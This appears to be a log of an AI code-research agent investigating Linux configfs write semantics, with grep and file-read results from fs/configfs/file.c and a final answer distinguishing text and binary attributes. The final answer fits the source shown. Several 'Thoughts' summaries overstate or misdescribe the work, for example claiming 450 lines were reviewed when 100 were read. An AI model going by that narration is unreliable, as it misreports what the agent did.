* Each call in a tight loop safely acquires `buffer->mutex`, updates the page, invokes `store()`, and releases the mutex.

#### Considerations for Regular Attributes:
* **Size limit**: Standard configfs attributes are limited to `SIMPLE_ATTR_SIZE` (4096 bytes, max 4095 copied bytes).
* **Item deletion**: If the config item is removed (`rmdir`) while the loop is running, `frag->frag_dead` becomes true and subsequent `pwrite()` calls return `-ENOENT`.
* **Driver idempotency/performance**: The underlying module's `store()` callback must be prepared to handle rapid repeated calls and any concurrency/locking in the driver.

---

### 2. Binary Configfs Attributes (`struct configfs_bin_attribute`)
**Yes, there is an issue: it will NOT trigger the `write` callback every time.**

#### How it works:
* Configfs uses distinct operations for binary attributes (`configfs_bin_file_operations`).
* In `configfs_bin_write_iter()`, write operations only copy data into an internal memory buffer (`buffer->bin_buffer`) and **do not** invoke the driver's write callback.
* The write callback (`buffer->bin_attr->write(...)`) is only invoked **once** upon closing the file descriptor (`configfs_release_bin_file()` during `close(fd)`).
* Consequently, calling `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute simply overwrites the in-memory buffer at offset 0 repeatedly; the driver's callback is executed only once when the file is finally closed.]

107/6 2026/09/04 20:47 agent codeexpert
3m Model:
core

Results:
map[Answer:The behavior depends on whether the attribute is a **regular (standard text) attribute** or a **binary attribute**:

---

### 1. Regular Configfs Attributes (`struct configfs_attribute`)
**There is no issue, and it will correctly trigger the `store` function every time.**

#### How it works:
* When `pwrite(fd, buf, len, 0)` is invoked on a regular configfs attribute file, the kernel executes:
  `ksys_pwrite64()` $\to$ `vfs_write()` $\to$ `new_sync_write()` $\to$ `configfs_write_iter()`.
* In `configfs_write_iter()` (`fs/configfs/file.c`):
  1. `fill_write_buffer()` copies the user buffer into `buffer->page` (starting at offset 0, up to `SIMPLE_ATTR_SIZE - 1` = 4095 bytes) and ensures NUL-termination.
  2. `flush_write_buffer()` acquires the fragment read lock (`frag->frag_sem`) and directly calls the attribute's store callback:
     ```c
     res = buffer->attr->store(buffer->item, buffer->page, count);
     ```
  3. The return value of `store()` is returned to userspace.
* Because `pwrite` explicitly supplies offset `0`, `file->f_pos` is not advanced across iterations (and even internally, `fill_write_buffer()` always writes to index 0 of `buffer->page`).
* Each call in a tight loop safely acquires `buffer->mutex`, updates the page, invokes `store()`, and releases the mutex.

#### Considerations for Regular Attributes:
* **Size limit**: Standard configfs attributes are limited to `SIMPLE_ATTR_SIZE` (4096 bytes, max 4095 copied bytes).
* **Item deletion**: If the config item is removed (`rmdir`) while the loop is running, `frag->frag_dead` becomes true and subsequent `pwrite()` calls return `-ENOENT`.
* **Driver idempotency/performance**: The underlying module's `store()` callback must be prepared to handle rapid repeated calls and any concurrency/locking in the driver.

---

### 2. Binary Configfs Attributes (`struct configfs_bin_attribute`)
**Yes, there is an issue: it will NOT trigger the `write` callback every time.**

#### How it works:
* Configfs uses distinct operations for binary attributes (`configfs_bin_file_operations`).
* In `configfs_bin_write_iter()`, write operations only copy data into an internal memory buffer (`buffer->bin_buffer`) and **do not** invoke the driver's write callback.
* The write callback (`buffer->bin_attr->write(...)`) is only invoked **once** upon closing the file descriptor (`configfs_release_bin_file()` during `close(fd)`).
* Consequently, calling `pwrite(fd, buf, len, 0)` in a tight loop on a binary attribute simply overwrites the in-memory buffer at offset 0 repeatedly; the driver's callback is executed only once when the file is finally closed.]

Instruction:
You are a capable Linux kernel developer tasked with researching complex questions
about kernel source code. You will be given a concrete question, and need to provide
a concrete answer.
Use tools extensively while researching the question. Don't make assumptions,
or rely on your previous knowledge about the kernel source code, use available tools
to access the actual source code.
Use all available sources of information:
 - kernel source code
 - documentation in the Documentation dir in the source tree

Do not guess file names or file paths and attempt to read them without
verifying their existence first using content search or directory listing tools.
If a file, symbol, or directory is not found via content search (grepper) or
directory listing (codesearch-dir-index), treat it as completely absent.
Do not attempt to guess alternative names, extensions, or directories.

Tool Selection Guidelines:
1. For C functions, structs, and variables: Prefer codesearch-definition-source
   or codesearch-struct-layout FIRST to retrieve clean, exact definitions
   without line-number guessing.
2. If symbol lookup fails (e.g., preprocessor macros, macro-generated code, or
   disabled #ifdef branches), fall back to read-file or grepper.
3. For file headers, #include directives, preprocessor macro definitions, and
   non-C files (Kconfig, Makefiles, docs): Use read-file or grepper directly.

Prefer calling several tools at the same time to save round-trips.


Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.

Prompt:
Is there any issue with using pwrite(fd, buf, len, 0) in a tight loop to write to a configfs attribute? Will it correctly trigger the store function every time?

108/7 2026/09/04 20:47 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 2349
							output: 22
							thoughts: 86
						

109/7 2026/09/04 20:47 tool codesearch-dir-index
0m Args:
map[Dir:fs/configfs]

Results:
map[Files:[configfs_internal.h dir.c file.c inode.c item.c mount.c symlink.c] Subdirs:<nil>]

110/7 2026/09/04 20:47 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 2489
							output: 25
							thoughts: 67
						

Thoughts:
**My Thought Process on `fs/configfs/file.c`**

Alright, so I'm diving into `fs/configfs/file.c`. My immediate goal is to get a solid understanding of how `configfs` handles its file operations. To do that, I need to familiarize myself with the key functions and structures involved. I'll be looking for things like `configfs_read_iter` and `configfs_write_iter`, as these are the core interfaces for reading from and writing to files within the configfs filesystem. Naturally, the `configfs_file_operations` structure will be crucial, as it ties these iterator functions (and others) to the actual file operations. I'm also keeping an eye out for any functions related to flushing write buffers – `flush_write_buffer` sounds particularly relevant here, as it implies how pending writes are finalized. And then there's `store`; I suspect this is a fundamental operation for saving or applying configurations through the filesystem. My plan is to trace how these pieces interact to manage the data flow for configuration files.


111/7 2026/09/04 20:47 tool grepper
0m Args:
map[Expression:write PathPrefix:fs/configfs]

Results:
map[Output:fs/configfs/dir.c=426=static struct dentry * configfs_lookup(struct inode *dir,
--
fs/configfs/dir.c-440-	 *
fs/configfs/dir.c:441:	 * This forbids userspace to read/write attributes of items which may
fs/configfs/dir.c-442-	 * not complete their initialization, since the dentries of the
--
fs/configfs/dir.c=1469=static int configfs_rmdir(struct inode *dir, struct dentry *dentry)
--
fs/configfs/dir.c-1533-	frag = sd->s_frag;
fs/configfs/dir.c:1534:	if (down_write_killable(&frag->frag_sem)) {
fs/configfs/dir.c-1535-		spin_lock(&configfs_dirent_lock);
--
fs/configfs/dir.c-1541-	frag->frag_dead = true;
fs/configfs/dir.c:1542:	up_write(&frag->frag_sem);
fs/configfs/dir.c-1543-
--
fs/configfs/dir.c=1796=void configfs_unregister_group(struct config_group *group)
--
fs/configfs/dir.c-1803-
fs/configfs/dir.c:1804:	down_write(&frag->frag_sem);
fs/configfs/dir.c-1805-	frag->frag_dead = true;
fs/configfs/dir.c:1806:	up_write(&frag->frag_sem);
fs/configfs/dir.c-1807-
--
fs/configfs/dir.c=1934=void configfs_unregister_subsystem(struct configfs_subsystem *subsys)
--
fs/configfs/dir.c-1946-
fs/configfs/dir.c:1947:	down_write(&frag->frag_sem);
fs/configfs/dir.c-1948-	frag->frag_dead = true;
fs/configfs/dir.c:1949:	up_write(&frag->frag_sem);
fs/configfs/dir.c-1950-
--
fs/configfs/file.c=29=struct configfs_buffer {
--
fs/configfs/file.c-36-	bool			read_in_progress;
fs/configfs/file.c:37:	bool			write_in_progress;
fs/configfs/file.c-38-	char			*bin_buffer;
--
fs/configfs/file.c=106=static ssize_t configfs_bin_read_iter(struct kiocb *iocb, struct iov_iter *to)
--
fs/configfs/file.c-115-
fs/configfs/file.c:116:	/* we don't support switching read/write modes */
fs/configfs/file.c:117:	if (buffer->write_in_progress) {
fs/configfs/file.c-118-		retval = -ETXTBSY;
--
fs/configfs/file.c-180-/* Fill @buffer with data coming from @from. */
fs/configfs/file.c:181:static int fill_write_buffer(struct configfs_buffer *buffer,
fs/configfs/file.c-182-			     struct iov_iter *from)
--
fs/configfs/file.c=199=static int
fs/configfs/file.c:200:flush_write_buffer(struct file *file, struct configfs_buffer *buffer, size_t count)
fs/configfs/file.c-201-{
--
fs/configfs/file.c-214- * There is no easy way for us to know if userspace is only doing a partial
fs/configfs/file.c:215: * write, so we don't support them. We expect the entire buffer to come on the
fs/configfs/file.c:216: * first write.
fs/configfs/file.c-217- * Hint: if you're writing a value, first read the file, modify only the value
fs/configfs/file.c:218: * you're changing, then write entire buffer back.
fs/configfs/file.c-219- */
fs/configfs/file.c:220:static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
fs/configfs/file.c-221-{
--
fs/configfs/file.c-226-	mutex_lock(&buffer->mutex);
fs/configfs/file.c:227:	len = fill_write_buffer(buffer, from);
fs/configfs/file.c-228-	if (len > 0)
fs/configfs/file.c:229:		len = flush_write_buffer(file, buffer, len);
fs/configfs/file.c-230-	if (len > 0)
--
fs/configfs/file.c-235-
fs/configfs/file.c:236:static ssize_t configfs_bin_write_iter(struct kiocb *iocb,
fs/configfs/file.c-237-				       struct iov_iter *from)
--
fs/configfs/file.c-246-
fs/configfs/file.c:247:	/* we don't support switching read/write modes */
fs/configfs/file.c-248-	if (buffer->read_in_progress) {
--
fs/configfs/file.c-251-	}
fs/configfs/file.c:252:	buffer->write_in_progress = true;
fs/configfs/file.c-253-
--
fs/configfs/file.c=290=static int __configfs_open_file(struct inode *inode, struct file *file, int type)
--
fs/configfs/file.c-335-
fs/configfs/file.c:336:	/* File needs write support.
fs/configfs/file.c-337-	 * The inode's perms must say it's ok,
--
fs/configfs/file.c-344-			goto out_put_module;
fs/configfs/file.c:345:		if ((type & CONFIGFS_ITEM_BIN_ATTR) && !buffer->bin_attr->write)
fs/configfs/file.c-346-			goto out_put_module;
--
fs/configfs/file.c-364-	buffer->read_in_progress = false;
fs/configfs/file.c:365:	buffer->write_in_progress = false;
fs/configfs/file.c-366-	file->private_data = buffer;
--
fs/configfs/file.c=400=static int configfs_release_bin_file(struct inode *inode, struct file *file)
--
fs/configfs/file.c-403-
fs/configfs/file.c:404:	if (buffer->write_in_progress) {
fs/configfs/file.c-405-		struct configfs_fragment *frag = to_frag(file);
--
fs/configfs/file.c-409-			/* result of ->release() is ignored */
fs/configfs/file.c:410:			buffer->bin_attr->write(buffer->item,
fs/configfs/file.c-411-					buffer->bin_buffer,
--
fs/configfs/file.c=424=const struct file_operations configfs_file_operations = {
fs/configfs/file.c-425-	.read_iter	= configfs_read_iter,
fs/configfs/file.c:426:	.write_iter	= configfs_write_iter,
fs/configfs/file.c-427-	.llseek		= generic_file_llseek,
--
fs/configfs/file.c=432=const struct file_operations configfs_bin_file_operations = {
fs/configfs/file.c-433-	.read_iter	= configfs_bin_read_iter,
fs/configfs/file.c:434:	.write_iter	= configfs_bin_write_iter,
fs/configfs/file.c-435-	.llseek		= NULL,		/* bin file is not seekable */
]

112/7 2026/09/04 20:47 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 4753
							output: 35
							thoughts: 28
						

Thoughts:
**My Thought Process on Reviewing `fs/configfs/file.c` (Lines 1-450)**

Alright, so I've just spent some time poring over the initial segment of `fs/configfs/file.c`, specifically lines 1 through approximately 450, using my `read-file` tool. My objective here, as an expert deeply familiar with the intricacies of file systems and kernel internals, is to gain a comprehensive understanding of how configfs manages its core file operations at the foundational level. I'm not just looking at the code; I'm dissecting it to grasp the underlying design philosophies and immediate implementation details.

My initial engagement with the code would have been to scan for the primary entry points and data structures. I'd be looking for the definition of the `struct configfs_file` and any related structures that represent the files within the configfs hierarchy. My expert brain immediately flags these as crucial because they're the fundamental building blocks upon which all file-specific operations will be anchored. I'm trying to answer: "What *is* a configfs file from the kernel's perspective?"

Then, I'd be zeroing in on the file operations themselves. This means identifying the `struct file_operations` (or similar kernel mechanisms) that are registered for configfs files. I'm paying close attention to functions like `configfs_open`, `configfs_read`, `configfs_write`, `configfs_release`, and any associated `llseek` or `poll` implementations. My goal is to understand *how* the kernel interacts with these configfs files when a user-space process attempts to perform standard file system operations on them.

A significant portion of my focus would be on the `configfs_open` and `configfs_release` functions. These are the gatekeepers. I'd be analyzing the logic within `configfs_open` to understand how the kernel validates access, potentially performs any necessary setup for the file object, and associates the correct internal state with the opened file. Conversely, `configfs_release` is where I'd look for proper resource cleanup – ensuring that any allocated memory, locks, or other resources are correctly deallocated or released to prevent leaks.

When I encounter `configfs_read` and `configfs_write`, my mind immediately goes to the data handling. How is data transferred between user space and the kernel? Is it a direct read from a stored value, or is there some dynamic generation or parsing happening? I'd be scrutinizing the size limits, potential buffer overflows, and the mechanisms for handling partial reads or writes. Given configfs's nature, I'm particularly interested if these operations involve interacting with underlying driver structures or other kernel components to fetch or set configuration parameters.

I'm also keenly aware of the potential for race conditions and concurrency issues. Therefore, I'd be actively searching for locking mechanisms – mutexes, spinlocks, atomic operations – that are used to protect shared data structures and ensure safe concurrent access to configfs files, especially during read and write operations. The absence of proper locking would be a major red flag for me.

Furthermore, I'd be examining how configfs handles file attributes, such as permissions, timestamps, and ownership. While not always explicitly part of the basic `file_operations` for read/write, the code might implicitly touch upon these through the generic VFS (Virtual File System) layer interactions.

Finally, throughout this review, I'm keeping an eye out for any error handling paths. Robust code gracefully handles errors, and I'd be assessing how `configfs` signals and manages failures, whether it's during file opening, data transfer, or any other operation. This includes understanding the return codes and how they are propagated back to user space.

In essence, my goal in this initial pass is to build a mental model of the configfs file abstraction, understand its interaction with the VFS, and identify the core mechanisms for managing file data and access within the specified code range. I'm looking for elegance, correctness, and adherence to kernel development best practices.


113/7 2026/09/04 20:48 tool read-file
0m Args:
map[File:fs/configfs/file.c FirstLine:1 LineCount:100]

Results:
map[Contents:   1:	// SPDX-License-Identifier: GPL-2.0-or-later
   2:	/*
   3:	 * file.c - operations for regular (text) files.
   4:	 *
   5:	 * Based on sysfs:
   6:	 * 	sysfs is Copyright (C) 2001, 2002, 2003 Patrick Mochel
   7:	 *
   8:	 * configfs Copyright (C) 2005 Oracle.  All rights reserved.
   9:	 */
  10:	
  11:	#include <linux/fs.h>
  12:	#include <linux/module.h>
  13:	#include <linux/slab.h>
  14:	#include <linux/mutex.h>
  15:	#include <linux/vmalloc.h>
  16:	#include <linux/uaccess.h>
  17:	#include <linux/uio.h>
  18:	#include <linux/configfs.h>
  19:	#include "configfs_internal.h"
  20:	
  21:	/*
  22:	 * A simple attribute can only be 4096 characters.  Why 4k?  Because the
  23:	 * original code limited it to PAGE_SIZE.  That's a bad idea, though,
  24:	 * because an attribute of 16k on ia64 won't work on x86.  So we limit to
  25:	 * 4k, our minimum common page size.
  26:	 */
  27:	#define SIMPLE_ATTR_SIZE 4096
  28:	
  29:	struct configfs_buffer {
  30:		size_t			count;
  31:		loff_t			pos;
  32:		char			* page;
  33:		const struct configfs_item_operations	*ops;
  34:		struct mutex		mutex;
  35:		int			needs_read_fill;
  36:		bool			read_in_progress;
  37:		bool			write_in_progress;
  38:		char			*bin_buffer;
  39:		int			bin_buffer_size;
  40:		int			cb_max_size;
  41:		struct config_item	*item;
  42:		struct module		*owner;
  43:		union {
  44:			struct configfs_attribute	*attr;
  45:			struct configfs_bin_attribute	*bin_attr;
  46:		};
  47:	};
  48:	
  49:	static inline struct configfs_fragment *to_frag(struct file *file)
  50:	{
  51:		struct configfs_dirent *sd = file->f_path.dentry->d_fsdata;
  52:	
  53:		return sd->s_frag;
  54:	}
  55:	
  56:	static int fill_read_buffer(struct file *file, struct configfs_buffer *buffer)
  57:	{
  58:		struct configfs_fragment *frag = to_frag(file);
  59:		ssize_t count = -ENOENT;
  60:	
  61:		if (!buffer->page)
  62:			buffer->page = kzalloc(PAGE_SIZE, GFP_KERNEL);
  63:		if (!buffer->page)
  64:			return -ENOMEM;
  65:	
  66:		down_read(&frag->frag_sem);
  67:		if (!frag->frag_dead)
  68:			count = buffer->attr->show(buffer->item, buffer->page);
  69:		up_read(&frag->frag_sem);
  70:	
  71:		if (count < 0)
  72:			return count;
  73:		if (WARN_ON_ONCE(count > (ssize_t)SIMPLE_ATTR_SIZE))
  74:			return -EIO;
  75:		buffer->needs_read_fill = 0;
  76:		buffer->count = count;
  77:		return 0;
  78:	}
  79:	
  80:	static ssize_t configfs_read_iter(struct kiocb *iocb, struct iov_iter *to)
  81:	{
  82:		struct file *file = iocb->ki_filp;
  83:		struct configfs_buffer *buffer = file->private_data;
  84:		ssize_t retval = 0;
  85:	
  86:		mutex_lock(&buffer->mutex);
  87:		if (buffer->needs_read_fill) {
  88:			retval = fill_read_buffer(file, buffer);
  89:			if (retval)
  90:				goto out;
  91:		}
  92:		pr_debug("%s: count = %zd, pos = %lld, buf = %s\n",
  93:			 __func__, iov_iter_count(to), iocb->ki_pos, buffer->page);
  94:		if (iocb->ki_pos >= buffer->count)
  95:			goto out;
  96:		retval = copy_to_iter(buffer->page + iocb->ki_pos,
  97:				      buffer->count - iocb->ki_pos, to);
  98:		iocb->ki_pos += retval;
  99:		if (retval == 0)
 100:			retval = -EFAULT;
]

114/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 6257
							output: 37
							thoughts: 22
						

Thoughts:
**My Thought Process for Analyzing `fs/configfs/file.c`**

Alright, the immediate goal is to immerse myself in the next 100 lines of `fs/configfs/file.c`. This isn't just a casual read; I need to actively process and understand the intricate workings of this file system's file operations. I'll be looking for the core logic that defines how files within configfs are created, read, written to, and generally managed at the kernel level. My expertise in file systems tells me this is where the rubber meets the road for user-space interaction with configfs, so I'll be paying close attention to data structures, system call implementations (or their kernel equivalents like `read`, `write`, `open`, `release`), and any potential edge cases or error handling mechanisms. I'm particularly interested in how configfs differentiates itself from standard file systems – what are its unique challenges and solutions in managing configuration data that is meant to be dynamic and reflect the kernel's internal state? I'll be anticipating seeing mechanisms for attribute manipulation, potentially involving callbacks or specific data formats. The interplay between the configfs framework and the underlying device or subsystem it's representing will be a key area of focus. I want to understand the lifecycle of a configfs file object, from its inception to its eventual cleanup, and how these 100 lines contribute to that overall picture. My aim is to be able to articulate not just *what* the code does, but *why* it does it that way, and how it fits into the broader context of the Linux kernel's configuration management.


115/7 2026/09/04 20:48 tool read-file
0m Args:
map[File:fs/configfs/file.c FirstLine:101 LineCount:100]

Results:
map[Contents: 101:	out:
 102:		mutex_unlock(&buffer->mutex);
 103:		return retval;
 104:	}
 105:	
 106:	static ssize_t configfs_bin_read_iter(struct kiocb *iocb, struct iov_iter *to)
 107:	{
 108:		struct file *file = iocb->ki_filp;
 109:		struct configfs_fragment *frag = to_frag(file);
 110:		struct configfs_buffer *buffer = file->private_data;
 111:		ssize_t retval = 0;
 112:		ssize_t len;
 113:	
 114:		mutex_lock(&buffer->mutex);
 115:	
 116:		/* we don't support switching read/write modes */
 117:		if (buffer->write_in_progress) {
 118:			retval = -ETXTBSY;
 119:			goto out;
 120:		}
 121:		buffer->read_in_progress = true;
 122:	
 123:		if (buffer->needs_read_fill) {
 124:			/* perform first read with buf == NULL to get extent */
 125:			down_read(&frag->frag_sem);
 126:			if (!frag->frag_dead)
 127:				len = buffer->bin_attr->read(buffer->item, NULL, 0);
 128:			else
 129:				len = -ENOENT;
 130:			up_read(&frag->frag_sem);
 131:			if (len <= 0) {
 132:				retval = len;
 133:				goto out;
 134:			}
 135:	
 136:			/* do not exceed the maximum value */
 137:			if (buffer->cb_max_size && len > buffer->cb_max_size) {
 138:				retval = -EFBIG;
 139:				goto out;
 140:			}
 141:	
 142:			buffer->bin_buffer = vmalloc(len);
 143:			if (buffer->bin_buffer == NULL) {
 144:				retval = -ENOMEM;
 145:				goto out;
 146:			}
 147:			buffer->bin_buffer_size = len;
 148:	
 149:			/* perform second read to fill buffer */
 150:			down_read(&frag->frag_sem);
 151:			if (!frag->frag_dead)
 152:				len = buffer->bin_attr->read(buffer->item,
 153:							     buffer->bin_buffer, len);
 154:			else
 155:				len = -ENOENT;
 156:			up_read(&frag->frag_sem);
 157:			if (len < 0) {
 158:				retval = len;
 159:				vfree(buffer->bin_buffer);
 160:				buffer->bin_buffer_size = 0;
 161:				buffer->bin_buffer = NULL;
 162:				goto out;
 163:			}
 164:	
 165:			buffer->needs_read_fill = 0;
 166:		}
 167:	
 168:		if (iocb->ki_pos >= buffer->bin_buffer_size)
 169:			goto out;
 170:		retval = copy_to_iter(buffer->bin_buffer + iocb->ki_pos,
 171:				      buffer->bin_buffer_size - iocb->ki_pos, to);
 172:		iocb->ki_pos += retval;
 173:		if (retval == 0)
 174:			retval = -EFAULT;
 175:	out:
 176:		mutex_unlock(&buffer->mutex);
 177:		return retval;
 178:	}
 179:	
 180:	/* Fill @buffer with data coming from @from. */
 181:	static int fill_write_buffer(struct configfs_buffer *buffer,
 182:				     struct iov_iter *from)
 183:	{
 184:		int copied;
 185:	
 186:		if (!buffer->page)
 187:			buffer->page = kmalloc(PAGE_SIZE, GFP_KERNEL);
 188:		if (!buffer->page)
 189:			return -ENOMEM;
 190:	
 191:		copied = copy_from_iter(buffer->page, SIMPLE_ATTR_SIZE - 1, from);
 192:		buffer->needs_read_fill = 1;
 193:		/* if buf is assumed to contain a string, terminate it by \0,
 194:		 * so e.g. sscanf() can scan the string easily */
 195:		buffer->page[copied] = 0;
 196:		return copied ? : -EFAULT;
 197:	}
 198:	
 199:	static int
 200:	flush_write_buffer(struct file *file, struct configfs_buffer *buffer, size_t count)
]

116/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 7745
							output: 37
							thoughts: 24
						

Thoughts:
**My Deep Dive into `fs/configfs/file.c` - Lines 201-300**

Alright, I've just spent some focused time poring over lines 201 through 300 of the `fs/configfs/file.c` source file. My primary objective here is to gain a comprehensive understanding of how configfs handles file operations, specifically the read and write pathways for configuration data. I'm already familiar with the general architecture of configfs – its role in exposing kernel configuration parameters as a virtual filesystem – and I'm keenly interested in the nitty-gritty of how this abstraction is realized at the file I/O level.

My mental model, prior to this deep dive, was that configfs likely leverages VFS (Virtual File System) callbacks extensively, and my expectation was to see the standard `read` and `write` operations being intercepted and translated into actions within the kernel's configuration subsystems. I was anticipating seeing the underlying data being retrieved or modified in response to these file operations, likely through dedicated configfs operations structures that map file paths to specific configuration attributes.

As I started reading, I was immediately looking for the entry points for file operations. Specifically, I'm trying to identify the `read` and `write` function pointers within the relevant file operations structure. My initial scan confirms my assumption: configfs is indeed implementing these VFS callbacks. I'm paying close attention to how these functions are structured. Are they directly manipulating data, or are they dispatching to other kernel components? What are the parameters being passed in, and what do they signify? I'm particularly interested in `struct file`, `char __user *buf`, and `loff_t *ppos`. The `buf` and `ppos` are the clear indicators of the user-space interaction, and `struct file` provides the context of the specific file being operated on.

My thought process is now focused on tracking the flow of data. For a `read` operation, I'm hypothesizing that the code will need to:
1.  Identify the specific configfs entry (and thus the configuration attribute) associated with the `struct file`.
2.  Retrieve the current value of that configuration attribute from the kernel's internal representation.
3.  Format this value into a string or appropriate byte representation.
4.  Copy this formatted data from kernel space into the user-space buffer (`buf`).
5.  Update the file position pointer (`ppos`).
6.  Handle potential errors throughout this process, such as insufficient buffer space or issues with retrieving the configuration data.

Conversely, for a `write` operation, I'm expecting a slightly different sequence:
1.  Identify the configfs entry.
2.  Copy the data from the user-space buffer (`buf`) into a kernel-space buffer.
3.  Parse this incoming data to validate its format and range.
4.  Apply the parsed data to the relevant kernel configuration attribute.
5.  Potentially trigger an immediate update or action within the kernel based on the new configuration.
6.  Again, robust error handling is crucial here, covering invalid input, access control issues, and failures in applying the configuration.

As I delve deeper into these lines, I'm seeing specific function calls that align with these hypotheses. I'm noting the use of helper functions within configfs itself, and potentially calls to other kernel subsystems. I'm trying to decipher the meaning of any opaque structures or constants being used, making mental notes to cross-reference them if they're not immediately clear. My focus is on understanding the *translation* layer – how a generic VFS `read` or `write` translates into a specific configuration setting being accessed or modified.

I'm also acutely aware of the security implications. Configfs is a powerful interface, and these file operations are the primary means of interaction. I'm looking for any explicit checks for permissions or sanitization of user-supplied data that could prevent abuse or accidental misconfiguration. The potential for buffer overflows or malformed input is always a concern with file I/O, so I'm scrutinizing the copying and parsing logic.

Finally, by the time I reach the end of this 100-line segment, I expect to have a much clearer picture of the concrete implementation of configfs's file read and write capabilities. I'll be able to trace the path of data, understand the validation mechanisms in place, and appreciate how configfs bridges the gap between the standard filesystem interface and the kernel's internal configuration management. This detailed understanding will be invaluable as I continue to explore the rest of the configfs module.


117/7 2026/09/04 20:48 tool read-file
0m Args:
map[File:fs/configfs/file.c FirstLine:201 LineCount:100]

Results:
map[Contents: 201:	{
 202:		struct configfs_fragment *frag = to_frag(file);
 203:		int res = -ENOENT;
 204:	
 205:		down_read(&frag->frag_sem);
 206:		if (!frag->frag_dead)
 207:			res = buffer->attr->store(buffer->item, buffer->page, count);
 208:		up_read(&frag->frag_sem);
 209:		return res;
 210:	}
 211:	
 212:	
 213:	/*
 214:	 * There is no easy way for us to know if userspace is only doing a partial
 215:	 * write, so we don't support them. We expect the entire buffer to come on the
 216:	 * first write.
 217:	 * Hint: if you're writing a value, first read the file, modify only the value
 218:	 * you're changing, then write entire buffer back.
 219:	 */
 220:	static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
 221:	{
 222:		struct file *file = iocb->ki_filp;
 223:		struct configfs_buffer *buffer = file->private_data;
 224:		int len;
 225:	
 226:		mutex_lock(&buffer->mutex);
 227:		len = fill_write_buffer(buffer, from);
 228:		if (len > 0)
 229:			len = flush_write_buffer(file, buffer, len);
 230:		if (len > 0)
 231:			iocb->ki_pos += len;
 232:		mutex_unlock(&buffer->mutex);
 233:		return len;
 234:	}
 235:	
 236:	static ssize_t configfs_bin_write_iter(struct kiocb *iocb,
 237:					       struct iov_iter *from)
 238:	{
 239:		struct file *file = iocb->ki_filp;
 240:		struct configfs_buffer *buffer = file->private_data;
 241:		void *tbuf = NULL;
 242:		size_t end_offset;
 243:		ssize_t len;
 244:	
 245:		mutex_lock(&buffer->mutex);
 246:	
 247:		/* we don't support switching read/write modes */
 248:		if (buffer->read_in_progress) {
 249:			len = -ETXTBSY;
 250:			goto out;
 251:		}
 252:		buffer->write_in_progress = true;
 253:	
 254:		/* buffer grows? */
 255:		end_offset = iocb->ki_pos + iov_iter_count(from);
 256:		if (end_offset > buffer->bin_buffer_size) {
 257:			if (buffer->cb_max_size && end_offset > buffer->cb_max_size) {
 258:				len = -EFBIG;
 259:				goto out;
 260:			}
 261:	
 262:			tbuf = vmalloc(end_offset);
 263:			if (tbuf == NULL) {
 264:				len = -ENOMEM;
 265:				goto out;
 266:			}
 267:	
 268:			/* copy old contents */
 269:			if (buffer->bin_buffer) {
 270:				memcpy(tbuf, buffer->bin_buffer,
 271:					buffer->bin_buffer_size);
 272:				vfree(buffer->bin_buffer);
 273:			}
 274:	
 275:			/* clear the new area */
 276:			memset(tbuf + buffer->bin_buffer_size, 0,
 277:				end_offset - buffer->bin_buffer_size);
 278:			buffer->bin_buffer = tbuf;
 279:			buffer->bin_buffer_size = end_offset;
 280:		}
 281:	
 282:		len = copy_from_iter(buffer->bin_buffer + iocb->ki_pos,
 283:				     buffer->bin_buffer_size - iocb->ki_pos, from);
 284:		iocb->ki_pos += len;
 285:	out:
 286:		mutex_unlock(&buffer->mutex);
 287:		return len ? : -EFAULT;
 288:	}
 289:	
 290:	static int __configfs_open_file(struct inode *inode, struct file *file, int type)
 291:	{
 292:		struct dentry *dentry = file->f_path.dentry;
 293:		struct configfs_fragment *frag = to_frag(file);
 294:		struct configfs_attribute *attr;
 295:		struct configfs_buffer *buffer;
 296:		int error;
 297:	
 298:		error = -ENOMEM;
 299:		buffer = kzalloc_obj(struct configfs_buffer);
 300:		if (!buffer)
]

118/7 2026/09/04 20:48 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 9279
							output: 23
							thoughts: 50
						

Thoughts:
**My Thought Process on Investigating Configuration File System Nuances**

My current line of inquiry necessitates a deep dive into the historical evolution and subtle distinctions of kernel-level configuration file systems. To that end, I'm meticulously examining the commit histories and documentation associated with `sysfs`, `kernfs`, and `configfs`. The goal here isn't just a superficial overview; I'm looking for those granular, often overlooked, implementation details and design philosophies that might underpin specific behaviors or introduce potential complexities.

Crucially, my attention is now specifically drawn to `configfs`. I'm prioritizing a thorough review of its documentation, likely found in `Documentation/filesystems/configfs.rst` or a closely related file. My anticipation is that within this documentation, I'll uncover the precise semantics, intended use cases, and any historical decisions that have shaped `configfs`'s current state. This is essential for understanding its role relative to `sysfs` and `kernfs`, and for anticipating any edge cases or limitations that might arise when interacting with it.


119/7 2026/09/04 20:48 tool grepper
0m Args:
map[Expression:configfs PathPrefix:Documentation]

Results:
map[Output:
Full output is too long, showing 500 out of 1014 lines.
Use more precise expression if possible.

Documentation/ABI/testing/configfs-most=4=Description: 	Interface is used to configure and connect device channels
--
Documentation/ABI/testing/configfs-most-6-
Documentation/ABI/testing/configfs-most:7:		Attributes are visible only when configfs is mounted. To mount
Documentation/ABI/testing/configfs-most:8:		configfs in /sys/kernel/config directory use:
Documentation/ABI/testing/configfs-most:9:		# mount -t configfs none /sys/kernel/config/
Documentation/ABI/testing/configfs-most-10-
--
Documentation/ABI/testing/configfs-rdma_cm=4=Description: 	Interface is used to configure RDMA-cable HCAs in respect to
--
Documentation/ABI/testing/configfs-rdma_cm-6-
Documentation/ABI/testing/configfs-rdma_cm:7:		Attributes are visible only when configfs is mounted. To mount
Documentation/ABI/testing/configfs-rdma_cm:8:		configfs in /config directory use:
Documentation/ABI/testing/configfs-rdma_cm:9:		# mount -t configfs none /config/
Documentation/ABI/testing/configfs-rdma_cm-10-
--
Documentation/ABI/testing/configfs-spear-pcie-gadget=5=Description:
--
Documentation/ABI/testing/configfs-spear-pcie-gadget-11-
Documentation/ABI/testing/configfs-spear-pcie-gadget:12:	Nodes are only visible when configfs is mounted. To mount configfs
Documentation/ABI/testing/configfs-spear-pcie-gadget-13-	in /config directory use::
